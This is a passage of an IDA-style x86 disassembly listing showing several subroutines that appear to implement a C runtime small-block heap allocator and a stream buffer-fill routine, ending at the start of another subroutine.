loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A990, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A980
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2960000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A980
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A980, 0
		jnz	short loc_41E9F6
		mov	off_43A980, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A984, 0
		jnz	short loc_41EA1B
		mov	off_43A984, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A984
		mov	[esi+4], eax
		mov	off_43A984, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 2A605B8h
		nop


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A980
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFC4
		nop
		call	near ptr 2950000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 2A605B8h
		nop
		cmp	off_43C9A0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9A0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A980
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFC4
		nop
		call	near ptr 2950000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A990, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A984
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 2A605B8h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9A4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A984
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A980
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9A4
		cmp	dword_4DB9A4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9A0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9A0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9A0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A980
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 2A606B3h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9A0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9A0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCC80[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D000


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

